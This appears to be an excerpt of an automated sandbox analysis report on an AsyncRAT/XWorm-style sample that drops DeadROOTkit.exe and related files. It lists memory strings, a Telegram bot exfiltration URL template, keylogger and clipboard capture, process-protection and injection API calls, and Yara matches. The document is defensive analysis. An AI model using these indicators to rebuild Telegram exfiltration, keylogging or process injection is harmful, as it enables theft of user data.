Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2967895483.00000202C0379000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774915423.00000202C043D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763730672.00000202C024B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2967895483.00000202C0379000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 0000000C.00000002.2957284217.00000202C0200000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763730672.00000202C0200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 0000000C.00000002.2949177193.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763357769.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: DeadROOTkit.exe, 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: mIURiU8n2P.exe, 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, DeadROOTkit.exe.2.dr	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000004.00000002.1899586399.0000011113902000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1899586399.0000011113AA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1839365843.000002DE90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774915423.00000202C043D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763730672.00000202C024B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2967895483.00000202C0379000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763730672.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: svchost.exe, 0000001A.00000002.2962138490.00000241A96E0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: svchost.exe, 00000016.00000002.3001209327.000001845BB84000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.msoftP
Source: powershell.exe, 00000007.00000002.1786234964.000002DE80229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: DeadXClient.exe, 00000001.00000002.2955878706.0000000002901000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1779642673.0000011103891000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1786234964.000002DE80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 0000000C.00000002.2949177193.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763357769.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: powershell.exe, 00000007.00000002.1786234964.000002DE80229000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2967895483.00000202C0379000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~
Source: svchost.exe, 00000028.00000002.3011157363.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.1926814755.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msftconnecttest.com
Source: svchost.exe, 00000028.00000002.3011157363.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.1926814755.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msftconnecttest.com/
Source: powershell.exe, 00000004.00000002.1779642673.0000011103891000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1786234964.000002DE80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: mIURiU8n2P.exe, 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, DeadROOTkit.exe.2.dr	String found in binary or memory: https://api.telegram.org/bot
Source: DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=
Source: DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V3.0%
Source: powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1779642673.0000011104DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1899586399.0000011113902000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1839365843.000002DE90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Microsoft-Windows-PushNotification-Platform%4Operational.evtx.25.dr	String found in binary or memory: https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49739 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: DeadROOTkit.exe.0.dr, XLogger.cs	.Net Code: KeyboardLayout
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: DeadROOTkit.exe.2.dr, XLogger.cs	.Net Code: KeyboardLayout

Source: C:\Users\Public\DeadROOTkit.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\Public\DeadROOTkit.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.mIURiU8n2P.exe.27c5330.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.0.DeadXClient.exe.680000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\DeadXClient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Deadsvchost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: mIURiU8n2P.exe, -Program-.cs

Long String: Length: 253952

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7F0C4D NtWriteVirtualMemory,	4_2_00007FFD9B7F0C4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7F0FD4 NtResumeThread,	4_2_00007FFD9B7F0FD4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7F0F10 NtSetContextThread,	4_2_00007FFD9B7F0F10
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7F0A2E NtUnmapViewOfSection,	4_2_00007FFD9B7F0A2E
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001854 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	6_2_0000000140001854
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC6429B0 NtEnumerateValueKey,NtEnumerateValueKey,	11_2_00000225DC6429B0
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AE2618 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	12_2_00000202C0AE2618
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AE2118 NtQuerySystemInformation,StrCmpNIW,	12_2_00000202C0AE2118
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF2129B0 NtEnumerateValueKey,NtEnumerateValueKey,	16_2_000002BAAF2129B0

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\System32\Tasks\DeadROOTkit

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_qnblsrzc.xue.ps1

Jump to behavior

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Code function: 0_2_00007FFD9B800C11	0_2_00007FFD9B800C11
Source: C:\Users\Public\DeadXClient.exe	Code function: 1_2_00007FFD9B7F6F66	1_2_00007FFD9B7F6F66
Source: C:\Users\Public\DeadXClient.exe	Code function: 1_2_00007FFD9B7F7D12	1_2_00007FFD9B7F7D12
Source: C:\Users\Public\DeadXClient.exe	Code function: 1_2_00007FFD9B7F0E79	1_2_00007FFD9B7F0E79
Source: C:\Users\Public\DeadXClient.exe	Code function: 1_2_00007FFD9B7F1799	1_2_00007FFD9B7F1799
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B8012E9	2_2_00007FFD9B8012E9
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B805F06	2_2_00007FFD9B805F06
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B8021D1	2_2_00007FFD9B8021D1
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B806CB2	2_2_00007FFD9B806CB2
Source: C:\Users\Public\DeadROOTkit.exe	Code function: 2_2_00007FFD9B8046DD	2_2_00007FFD9B8046DD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EF649	4_2_00007FFD9B7EF649
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EB2FA	4_2_00007FFD9B7EB2FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EE319	4_2_00007FFD9B7EE319
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7EFDD9	4_2_00007FFD9B7EFDD9
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_000002E86A06F418	6_3_000002E86A06F418
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_000002E86A06B150	6_3_000002E86A06B150
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_000002E86A06B35C	6_3_000002E86A06B35C
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_000002E86A071778	6_3_000002E86A071778
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001CDC	6_2_0000000140001CDC
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140002D54	6_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140002430	6_2_0000000140002430
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000001400031D8	6_2_00000001400031D8
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001274	6_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A0A0018	6_2_000002E86A0A0018
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A09BD50	6_2_000002E86A09BD50
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A09BF5C	6_2_000002E86A09BF5C
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A0A2378	6_2_000002E86A0A2378
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9B8A30E9	7_2_00007FFD9B8A30E9
Source: C:\Windows\System32\winlogon.exe	Code function: 11_3_00000225DC621778	11_3_00000225DC621778
Source: C:\Windows\System32\winlogon.exe	Code function: 11_3_00000225DC61B35C	11_3_00000225DC61B35C
Source: C:\Windows\System32\winlogon.exe	Code function: 11_3_00000225DC61F418	11_3_00000225DC61F418
Source: C:\Windows\System32\winlogon.exe	Code function: 11_3_00000225DC61B150	11_3_00000225DC61B150
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC652378	11_2_00000225DC652378
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC64BF5C	11_2_00000225DC64BF5C
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC650018	11_2_00000225DC650018
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC64BD50	11_2_00000225DC64BD50
Source: C:\Windows\System32\lsass.exe	Code function: 12_3_00000202C0AC1778	12_3_00000202C0AC1778
Source: C:\Windows\System32\lsass.exe	Code function: 12_3_00000202C0ABB35C	12_3_00000202C0ABB35C
Source: C:\Windows\System32\lsass.exe	Code function: 12_3_00000202C0ABF418	12_3_00000202C0ABF418
Source: C:\Windows\System32\lsass.exe	Code function: 12_3_00000202C0ABB150	12_3_00000202C0ABB150
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AF2378	12_2_00000202C0AF2378
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AEBF5C	12_2_00000202C0AEBF5C
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AF0018	12_2_00000202C0AF0018
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AEBD50	12_2_00000202C0AEBD50
